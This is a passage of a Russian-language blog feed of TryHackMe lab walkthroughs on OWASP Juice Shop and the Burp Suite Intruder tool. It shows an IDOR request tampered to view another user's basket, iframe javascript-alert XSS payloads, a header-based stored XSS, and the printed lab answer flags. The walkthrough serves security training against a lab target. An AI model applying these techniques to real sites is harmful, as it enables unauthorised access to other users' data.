    &lt;p id=&quot;j16G&quot;&gt;Вы встретите несколько разных слов, содержащих &amp;quot;admin&amp;quot;, но нам нужно слово &amp;quot;path: administration&amp;quot;.&lt;/p&gt;
    &lt;figure id=&quot;1tmn&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/AS1YVjU.png&quot; width=&quot;933&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;1km2&quot;&gt;Это указывает на страницу под названием &amp;quot; &lt;strong&gt;/#/administration&lt;/strong&gt; &amp;quot;, как видно из пути &lt;strong&gt;к разделу &amp;quot;О&lt;/strong&gt; программе&amp;quot; несколькими строками ниже, но перейти на неё, не войдя в систему, не получится.&lt;/p&gt;
    &lt;figure id=&quot;GGzj&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/86/2e/862e1c11-d3a1-47b8-907c-d7465c9ebfcd.png&quot; width=&quot;1329&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;DFzx&quot;&gt;Поскольку это страница администратора, логично, что для ее просмотра нам необходимо войти в &lt;strong&gt;учетную запись администратора .&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;8Pox&quot;&gt;Хороший способ предотвратить доступ пользователей к этой информации — загружать только те части приложения, которые им необходимы. Это предотвратит утечку или просмотр конфиденциальной информации, такой как страница администратора.&lt;/p&gt;
    &lt;p id=&quot;GgQ7&quot;&gt;Вопрос №2:  Посмотрите корзину покупок другого пользователя!&lt;/p&gt;
    &lt;figure id=&quot;MMrM&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/0b/9b/0b9b1fec-fdb8-48b3-a35a-570f121ca63c.png&quot; width=&quot;1337&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;oyE2&quot;&gt;Войдите в свою учетную запись администратора и нажмите «Ваша корзина». Убедитесь, что Burp запущен, чтобы вы могли перехватить запрос!&lt;/p&gt;
    &lt;p id=&quot;gfLC&quot;&gt;Пересылайте каждый запрос, пока не увидите:  &lt;em&gt;GET /rest/basket/1 HTTP/1.1&lt;/em&gt;&lt;/p&gt;
    &lt;figure id=&quot;UtOp&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/wlS88AU.png&quot; width=&quot;1257&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;6yFB&quot;&gt;Теперь мы изменим цифру &lt;strong&gt;1&lt;/strong&gt; после /basket/ на &lt;strong&gt;2.&lt;/strong&gt;&lt;/p&gt;
    &lt;figure id=&quot;kNKC&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/ugsRunL.png&quot; width=&quot;192&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;htuI&quot;&gt;Теперь отобразится корзина пользователя с ID 2. Вы можете сделать это и для других пользователей с ID, при условии, что у них есть корзина!&lt;/p&gt;
    &lt;figure id=&quot;P9be&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/yR4xFo3.png&quot; width=&quot;758&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;4Cfp&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/5f/fe/5ffee1ed-a195-43ad-9724-185d66713c23.png&quot; width=&quot;805&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;KhcI&quot;&gt;IDOR - получили доступ до чужой корзины.&lt;/p&gt;
    &lt;p id=&quot;KfhG&quot;&gt;Ответ: e6982b34b6734ceadd28e5019b251f929a80b815&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qIjO&quot;&gt;Снова перейдите на страницу &lt;a href=&quot;http://10.112.152.24&quot; target=&quot;_blank&quot;&gt;http://10.112.152.24&lt;/a&gt; &lt;a href=&quot;http://machine_ip/#/administration&quot; target=&quot;_blank&quot;&gt;/#/administration&lt;/a&gt; и  нажмите на значок корзины рядом с отзывом, отмеченным 5 звездами!&lt;/p&gt;
  &lt;section&gt;
    &lt;figure id=&quot;25X9&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/cI2sSyx.png&quot; width=&quot;600&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;tFke&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/40/69/40697a5f-fd28-499e-ae66-ea1204b54ea0.png&quot; width=&quot;913&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;HMlO&quot;&gt;Ответ:78231b75c0b2180b7e964dcbb1ab3c3f58639f2e&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;p13D&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;o8cE&quot;&gt;7. Откуда это взялось?&lt;/h2&gt;
  &lt;figure id=&quot;IFzs&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/qBdgNKC.png&quot; width=&quot;1503&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LJI6&quot;&gt;XSS , или межсайтовый скриптинг, — это уязвимость, позволяющая злоумышленникам запускать JavaScript в веб-приложениях. Это одна из наиболее распространенных уязвимостей в веб-приложениях. Сложность таких уязвимостей варьируется от простых до чрезвычайно сложных, поскольку каждое веб-приложение обрабатывает запросы по-своему.&lt;/p&gt;
  &lt;p id=&quot;3c8y&quot;&gt;&lt;strong&gt;Существует три основных типа XSS -атак:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;aSMd&quot;&gt;&lt;u&gt;DOM (Special)&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;op5J&quot;&gt;DOM XSS &lt;em&gt; (Document Object Model-based Cross-site Scripting)&lt;/em&gt;  использует HTML-среду для выполнения вредоносного JavaScript. Этот тип атаки обычно использует HTML-тег &lt;em&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/em&gt;  .&lt;/p&gt;
  &lt;p id=&quot;BamW&quot;&gt;&lt;u&gt;Постоянное (на стороне сервера)&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;l1Tk&quot;&gt;Постоянная XSS-атака  — это JavaScript-код, который выполняется при загрузке сервером страницы, содержащей этот код. Она может возникать, когда сервер не проверяет данные пользователя при их &lt;strong&gt;загрузке&lt;/strong&gt; на страницу. Такие атаки часто встречаются в сообщениях блогов.&lt;/p&gt;
  &lt;p id=&quot;ykAL&quot;&gt;&lt;u&gt;Отражённый (на стороне клиента)&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;9tpj&quot;&gt;Отражённая XSS-атака  — это JavaScript-код, выполняемый на стороне клиента веб-приложения. Чаще всего она встречается, когда сервер не проверяет правильность &lt;strong&gt;поисковых&lt;/strong&gt; данных.&lt;/p&gt;
  &lt;p id=&quot;V9on&quot;&gt;Дополнительная информация:  &lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)&quot; target=&quot;_blank&quot;&gt;Межсайтовая скриптовая атака (XSS)&lt;/a&gt;&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;kOtW&quot;&gt;Вопрос №1:  Выполните DOM XSS-атаку!&lt;/p&gt;
    &lt;figure id=&quot;Zt91&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/AMz9jps.png&quot; width=&quot;571&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;ePo5&quot;&gt;Мы будем использовать элемент iframe с тегом &amp;#x60;&amp;lt;alert&amp;gt;&amp;#x60; на JavaScript:&lt;/p&gt;
    &lt;p id=&quot;KKMh&quot;&gt;&lt;em&gt;&amp;lt;iframe src=&amp;quot;javascript:alert(&amp;#x60;xss&amp;#x60;)&amp;quot;&amp;gt; &lt;/em&gt;&lt;/p&gt;
    &lt;figure id=&quot;MQOp&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/2e/52/2e52bede-9321-4202-9a46-510ea1bcdb13.png&quot; width=&quot;630&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;wyQC&quot;&gt;Ввод этого текста в &lt;strong&gt;строку поиска&lt;/strong&gt; вызовет всплывающее окно.&lt;/p&gt;
    &lt;figure id=&quot;J9mn&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/rKEx3aR.png&quot; width=&quot;297&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;5Zs7&quot;&gt;Обратите внимание, что мы используем &lt;strong&gt;iframe&lt;/strong&gt; , который является распространенным HTML-элементом, встречающимся во многих веб-приложениях; существуют и другие элементы, которые также дают аналогичный результат.&lt;/p&gt;
    &lt;p id=&quot;qsuM&quot;&gt;Этот тип XSS, также называемый XFS (Cross-Frame Scripting), является одним из наиболее распространенных способов обнаружения XSS в веб-приложениях.&lt;/p&gt;
    &lt;p id=&quot;jqIx&quot;&gt;Веб-сайты, позволяющие пользователю изменять iframe или другие элементы DOM, с наибольшей вероятностью будут уязвимы для XSS-атак.&lt;/p&gt;
    &lt;p id=&quot;mmMU&quot;&gt;&lt;strong&gt;Почему это работает?&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;sJXV&quot;&gt;Обычно поисковая строка отправляет запрос на сервер, который затем возвращает соответствующую информацию, но именно здесь кроется недостаток. Без надлежащей проверки входных данных мы можем осуществить XSS-атаку на поисковую строку.&lt;/p&gt;
    &lt;p id=&quot;kxzu&quot;&gt;Вопрос №2:  Выполните постоянную XSS-атаку!&lt;/p&gt;
    &lt;p id=&quot;IFeO&quot;&gt;Сначала войдите в свою учетную запись &lt;strong&gt;администратора&lt;/strong&gt; .&lt;/p&gt;
    &lt;p id=&quot;spU9&quot;&gt;Для этой атаки мы перейдём на страницу &amp;quot; &lt;strong&gt;Последний IP-адрес входа &amp;quot;.&lt;/strong&gt;&lt;/p&gt;
    &lt;figure id=&quot;zx6J&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/YTIzhh0.png&quot; width=&quot;485&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;RZtm&quot;&gt;Должно быть указано, что последний IP-адрес — 0.0.0.0 или 10.xxx.&lt;/p&gt;
    &lt;p id=&quot;eTw1&quot;&gt;Поскольку в лог записывается «последний» IP-адрес входа, мы сейчас выйдем из системы, чтобы в лог записался «новый» IP-адрес.&lt;/p&gt;
    &lt;figure id=&quot;IvkO&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/4XHHSof.png&quot; width=&quot;122&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;iUtJ&quot;&gt;Убедитесь, что &lt;strong&gt;функция перехвата запросов Burp включена&lt;/strong&gt; , чтобы она перехватывала запросы на выход из системы.&lt;/p&gt;
    &lt;p id=&quot;JzvP&quot;&gt;Затем перейдём на вкладку «Заголовки», где добавим новый заголовок:&lt;/p&gt;
    &lt;figure id=&quot;swrf&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/VLd2Fga.png&quot; width=&quot;1162&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;tkWc&quot;&gt;Затем перенаправьте запрос на сервер!&lt;br /&gt;При &lt;strong&gt;повторном входе в учетную запись администратора&lt;/strong&gt; и переходе на страницу с IP-адресом последнего входа вы увидите предупреждение об XSS-атаке!&lt;/p&gt;
    &lt;figure id=&quot;3XfG&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/rKEx3aR.png&quot; width=&quot;297&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;gajd&quot;&gt;&lt;strong&gt;Зачем нам отправлять этот заголовок?&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;qWJ5&quot;&gt;Заголовок  &lt;em&gt;True-Client-IP  &lt;/em&gt;аналогичен заголовку &lt;em&gt;X-Forwarded-For  &lt;/em&gt;; оба сообщают серверу или прокси-серверу IP-адрес клиента. Поскольку в заголовке отсутствует проверка подлинности, мы можем выполнить XSS-атаку.&lt;/p&gt;
    &lt;p id=&quot;Cosr&quot;&gt;Вопрос №3:  Выполните отражённую XSS-атаку!&lt;/p&gt;
    &lt;p id=&quot;ahJh&quot;&gt;Во-первых, нам нужно правильно настроиться, чтобы выполнить отраженную XSS-атаку!&lt;/p&gt;
    &lt;p id=&quot;Fj5A&quot;&gt;&lt;strong&gt;Войдите&lt;/strong&gt; в свою &lt;strong&gt;учетную запись администратора&lt;/strong&gt; и перейдите на страницу « История заказов ».&lt;/p&gt;
    &lt;figure id=&quot;Apiq&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/hBy4O1L.png&quot; width=&quot;547&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;wG2W&quot;&gt;Там вы увидите значок « Грузовик », нажав на него, вы перейдете на страницу результатов отслеживания. Вы также увидите, что заказу присвоен идентификатор.&lt;/p&gt;
    &lt;figure id=&quot;1bsY&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/kQdIKyL.png&quot; width=&quot;384&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;wqZ9&quot;&gt;Вместо кода  &lt;em&gt;5267-f73dcd000abcc353&lt;/em&gt; мы будем использовать XSS-атаку с использованием iframe,  &lt;em&gt;&amp;lt;iframe src=&amp;quot;javascript:alert(&amp;#x60;xss&amp;#x60;)&amp;quot;&amp;gt;. &lt;/em&gt;&lt;/p&gt;
    &lt;p id=&quot;vfQy&quot;&gt;После отправки URL-адреса обновите страницу, и вы получите предупреждение о XSS-атаке!&lt;/p&gt;
    &lt;figure id=&quot;wwxI&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/rKEx3aR.png&quot; width=&quot;297&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;t9M1&quot;&gt;&lt;strong&gt;Почему это работает?&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;t5JG&quot;&gt;На сервере будет таблица соответствия или база данных (в зависимости от типа сервера) для каждого идентификатора отслеживания. Поскольку параметр &amp;#x27;id&amp;#x27; не проходит проверку перед отправкой на сервер, мы можем выполнить XSS-атаку.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;pzgy&quot;&gt;Вопрос №1:  Выполните DOM XSS-атаку!&lt;/p&gt;
  &lt;p id=&quot;KSpJ&quot;&gt;4a31a4fe0954199566e360a873802bf64d0d0a84&lt;br /&gt;&lt;br /&gt;Вопрос №2:  Выполните постоянную XSS-атаку!&lt;/p&gt;
  &lt;p id=&quot;UZAC&quot;&gt;c37da14686b69a220fd9febd09bb9593e7d0539f&lt;br /&gt;&lt;br /&gt;Вопрос №3:  Выполните отражённую XSS-атаку!&lt;/p&gt;
  &lt;p id=&quot;azFy&quot;&gt;305021787d3e9cd9cebc057a021c2504550bb3b6&lt;/p&gt;
  &lt;h2 id=&quot;1RVh&quot;&gt;8. Исследование!&lt;/h2&gt;
  &lt;p id=&quot;XHTT&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;MOml&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/DGSYlWp.png&quot; width=&quot;1462&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uml6&quot;&gt;Если вы хотите попробовать свои силы в более &lt;strong&gt;сложных&lt;/strong&gt; заданиях, не рассмотренных в этой комнате, загляните в раздел &lt;strong&gt;/#/score-board/&lt;/strong&gt; на Juice-shop. Там вы сможете увидеть выполненные вами задания, а также задания различной сложности.&lt;/p&gt;
  &lt;p id=&quot;DZLb&quot;&gt;&lt;strong&gt;Перейдите на  страницу /#/score-board/&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;TQpg&quot;&gt;2614339936e8282e2f820f023d4d998a1f95e02a&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;BCxS&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_42</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_42?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 38. Burp Suite: Intruder</title><published>2026-02-24T13:48:05.338Z</published><updated>2026-02-24T13:48:05.338Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/d2/3a/d23a2293-470f-4f30-b578-42e381520e55.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/cc/ad/ccad373f-26e8-4cd1-ae5e-20952260fea6.jpeg&quot;&gt;Узнайте, как использовать Intruder для автоматизации запросов в Burp Suite.</summary><content type="html">
  &lt;p id=&quot;4kO9&quot;&gt;Узнайте, как использовать Intruder для автоматизации запросов в Burp Suite.&lt;/p&gt;
  &lt;figure id=&quot;KcOC&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cc/ad/ccad373f-26e8-4cd1-ae5e-20952260fea6.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;IL3X&quot;&gt;1. Введение&lt;/h2&gt;
  &lt;h4 id=&quot;lzkD&quot;&gt;Добро пожаловать в номер &amp;quot;Burp Suite Intruder&amp;quot;!&lt;/h4&gt;
  &lt;p id=&quot;VMvl&quot;&gt;В этой комнате мы рассмотрим модуль Intruder в Burp Suite , который обеспечивает автоматическую обработку запросов и позволяет выполнять такие задачи, как фаззинг и брутфорс. Если вы не знакомы с функционалом &lt;strong&gt;Proxy&lt;/strong&gt; и &lt;strong&gt;Repeater&lt;/strong&gt; в Burp Suite , рекомендуется пройти хотя бы комнату &lt;a href=&quot;https://tryhackme.com/room/burpsuitebasics&quot; target=&quot;_blank&quot;&gt;«Основы Burp»&lt;/a&gt; перед тем, как продолжить.&lt;/p&gt;
  &lt;figure id=&quot;CxjY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;V1cM&quot;&gt;Модуль Intruder в Burp Suite — это мощный инструмент, позволяющий проводить автоматизированные и настраиваемые атаки. Он предоставляет возможность изменять определенные части запроса и выполнять повторяющиеся тесты с различными вариантами входных данных. Intruder особенно полезен для таких задач, как фаззинг и брутфорс, где необходимо проверять различные значения по отношению к целевому объекту.&lt;/p&gt;
  &lt;figure id=&quot;4Xtu&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Hff0&quot;&gt;Разверните целевую виртуальную машину, подключенную к этой задаче, нажав зеленую кнопку &lt;strong&gt;«Запустить машину»&lt;/strong&gt; .&lt;/p&gt;
  &lt;h2 id=&quot;xbVB&quot;&gt;2. Что такое Intruder?&lt;/h2&gt;
  &lt;p id=&quot;T082&quot;&gt;Intruder — это встроенный в Burp Suite инструмент фаззинга, позволяющий автоматически изменять запросы и проводить многократное тестирование с вариациями входных значений. Используя перехваченный запрос (часто из модуля Proxy ), Intruder может отправлять несколько запросов с немного измененными значениями на основе заданных пользователем конфигураций. Он служит различным целям, таким как подбор паролей в формах авторизации путем замены полей имени пользователя и пароля значениями из списка слов или выполнение фаззинговых атак с использованием списков слов для тестирования подкаталогов, конечных точек или виртуальных хостов. Функциональность Intruder сравнима с инструментами командной строки, такими как &lt;strong&gt;Wfuzz&lt;/strong&gt; или &lt;strong&gt;ffuf&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;bRFN&quot;&gt;Однако важно отметить, что, хотя Intruder можно использовать с Burp Community Edition, он имеет ограничения по количеству запросов, что значительно снижает его скорость по сравнению с Burp Professional. Это ограничение часто заставляет специалистов по безопасности полагаться на другие инструменты для фаззинга и перебора паролей. Тем не менее, Intruder остается ценным инструментом, и стоит научиться эффективно его использовать.&lt;/p&gt;
  &lt;p id=&quot;40Mw&quot;&gt;Давайте рассмотрим интерфейс Intruder:&lt;/p&gt;
  &lt;figure id=&quot;GxFG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/2b2a10c651bee6531f8dbeb5e32733e8.png&quot; width=&quot;1118&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SDPv&quot;&gt;На начальном этапе Intruder отображается простой интерфейс, где мы можем выбрать цель. Это поле будет уже заполнено, если запрос был отправлен из прокси (используя &lt;code&gt;Ctrl + I&lt;/code&gt;или щелкнув правой кнопкой мыши и выбрав «Отправить в Intruder»).&lt;/p&gt;
  &lt;p id=&quot;gDlX&quot;&gt;В Intruder есть четыре вкладки:&lt;/p&gt;
  &lt;ul id=&quot;eZX9&quot;&gt;
    &lt;li id=&quot;rp8R&quot;&gt;&lt;strong&gt;Позиции&lt;/strong&gt; : На этой вкладке мы можем выбрать тип атаки (который мы рассмотрим в следующем задании) и настроить место вставки полезных нагрузок в шаблон запроса.&lt;/li&gt;
    &lt;li id=&quot;CE15&quot;&gt;&lt;strong&gt;Полезные нагрузки&lt;/strong&gt; : Здесь мы можем выбрать значения для вставки в позиции, определенные на вкладке &lt;strong&gt;«Позиции»&lt;/strong&gt; . Доступны различные варианты полезных нагрузок, например, загрузка элементов из списка слов. Способ вставки этих полезных нагрузок в шаблон зависит от типа атаки, выбранного на вкладке &lt;strong&gt;«Позиции»&lt;/strong&gt; . Вкладка &lt;strong&gt;«Полезные нагрузки»&lt;/strong&gt; также позволяет изменять поведение Intruder в отношении полезных нагрузок, например, определять правила предварительной обработки для каждой полезной нагрузки (например, добавление префикса или суффикса, выполнение сопоставления и замены или пропуск полезных нагрузок на основе определенного регулярного выражения).&lt;/li&gt;
    &lt;li id=&quot;KiRl&quot;&gt;&lt;strong&gt;Пул ресурсов&lt;/strong&gt; : Эта вкладка не особенно полезна в Burp Community Edition. Она позволяет распределять ресурсы между различными автоматизированными задачами в Burp Professional. Без доступа к этим автоматизированным задачам эта вкладка имеет ограниченное значение.&lt;/li&gt;
    &lt;li id=&quot;7b2T&quot;&gt;&lt;strong&gt;Настройки&lt;/strong&gt; : Эта вкладка позволяет настроить поведение атаки. В основном она касается того, как Burp обрабатывает результаты и саму атаку. Например, мы можем помечать запросы, содержащие определенный текст, или определить ответ Burp как перенаправляющий (3xx) ответы.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ygNi&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Термин «фаззинг» относится к процессу проверки функциональности или существования путем применения набора данных к параметру. Например, фаззинг для конечных точек в веб-приложении включает в себя взятие каждого слова из списка слов и добавление его к URL-адресу запроса (например, http ://MACHINE_IP/WORD_GOES_HERE) для наблюдения за ответом сервера.&lt;/p&gt;
  &lt;figure id=&quot;tj0Y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b6/b3/b6b3927c-b82c-448b-939b-ed37cdcbe6b1.png&quot; width=&quot;336&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;VvTY&quot;&gt;Вопрос: На какой вкладке «Вторжение» можно указать «Тип атаки» для планируемой атаки?&lt;/p&gt;
    &lt;p id=&quot;C4ev&quot;&gt;Ответ:Positions&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;p0V8&quot;&gt;3. Должности&lt;/h2&gt;
  &lt;p id=&quot;BzXp&quot;&gt;При использовании Burp Suite Intruder для проведения атаки первым шагом является анализ позиций в запросе, куда мы хотим внедрить наши полезные нагрузки. Эти позиции сообщают Intruder о местах, куда будут внедрены наши полезные нагрузки (как мы рассмотрим в следующих заданиях).&lt;/p&gt;
  &lt;p id=&quot;7C7w&quot;&gt;Перейдём к вкладке «Позиции»:&lt;/p&gt;
  &lt;figure id=&quot;1T8H&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/1372bbafab835e10806ee6beb6681f36.png&quot; width=&quot;1123&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;PgGz&quot;&gt;Обратите внимание, что Burp Suite автоматически пытается определить наиболее вероятные места для внедрения полезной нагрузки. Эти места выделены зеленым цветом и заключены в разделительные знаки ( &lt;code&gt;§&lt;/code&gt;).&lt;/p&gt;
  &lt;p id=&quot;WB2b&quot;&gt;В правой части интерфейса расположены следующие кнопки: &lt;code&gt;Add §&lt;/code&gt;, &lt;code&gt;Clear §&lt;/code&gt;, и &lt;code&gt;Auto §&lt;/code&gt;:&lt;/p&gt;
  &lt;ul id=&quot;Ootf&quot;&gt;
    &lt;li id=&quot;RToe&quot;&gt;Эта &lt;code&gt;Add §&lt;/code&gt;кнопка позволяет вручную задавать новые позиции, выделяя их в редакторе запросов и затем нажимая на кнопку.&lt;/li&gt;
    &lt;li id=&quot;ECgs&quot;&gt;Кнопка &lt;code&gt;Clear §&lt;/code&gt;удаляет все заданные позиции, предоставляя чистый холст, на котором мы можем определить свои собственные позиции.&lt;/li&gt;
    &lt;li id=&quot;24BQ&quot;&gt;Кнопка &lt;code&gt;Auto §&lt;/code&gt;автоматически пытается определить наиболее вероятные позиции на основе запроса. Эта функция полезна, если мы ранее удалили позиции по умолчанию и хотим их восстановить.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;VBE4&quot;&gt;Следующая GIF-анимация демонстрирует процесс добавления, удаления и автоматического повторного выбора позиций:&lt;/p&gt;
  &lt;figure id=&quot;FsMb&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/504d75f7c90e1c985dae5e05038f50ac.gif&quot; width=&quot;1028&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1FOq&quot;&gt;Уделите время ознакомлению с функциями добавления, удаления и автоматического выбора позиций в интерфейсе Burp Suite Intruder.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;eRBN&quot;&gt;Вопрос: Какой символ обозначает начало и конец положения полезной нагрузки?&lt;/p&gt;
    &lt;p id=&quot;Rsz5&quot;&gt;Ответ: §&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;K8wW&quot;&gt;4. Полезная нагрузка&lt;/h2&gt;
  &lt;p id=&quot;jMLb&quot;&gt;На вкладке &lt;strong&gt;«Полезные нагрузки»&lt;/strong&gt;  в Burp Suite Intruder мы можем создавать, назначать и настраивать полезные нагрузки для нашей атаки. Эта подвкладка разделена на четыре раздела:&lt;/p&gt;
  &lt;figure id=&quot;SNfg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f049dff9e1172b76c0f81ad4771b012d.png&quot; width=&quot;1042&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;fECA&quot;&gt;
    &lt;li id=&quot;Na45&quot;&gt;&lt;strong&gt;Комплекты полезной нагрузки&lt;/strong&gt; :&lt;/li&gt;
    &lt;ul id=&quot;SCQJ&quot;&gt;
      &lt;li id=&quot;H22o&quot;&gt;В этом разделе мы можем выбрать позицию, для которой хотим настроить набор полезной нагрузки, а также выбрать тип полезной нагрузки, которую хотим использовать.&lt;/li&gt;
      &lt;li id=&quot;w6JJ&quot;&gt;При использовании типов атак, допускающих только один набор полезной нагрузки (снайперская или таранная ) , в выпадающем списке «Набор полезной нагрузки» будет только один вариант, независимо от количества заданных позиций.&lt;/li&gt;
      &lt;li id=&quot;UEum&quot;&gt;Если мы используем типы атак, требующие нескольких комплектов полезной нагрузки (вилы или кассетная бомба), то в выпадающем списке для каждой позиции будет отдельный пункт.&lt;/li&gt;
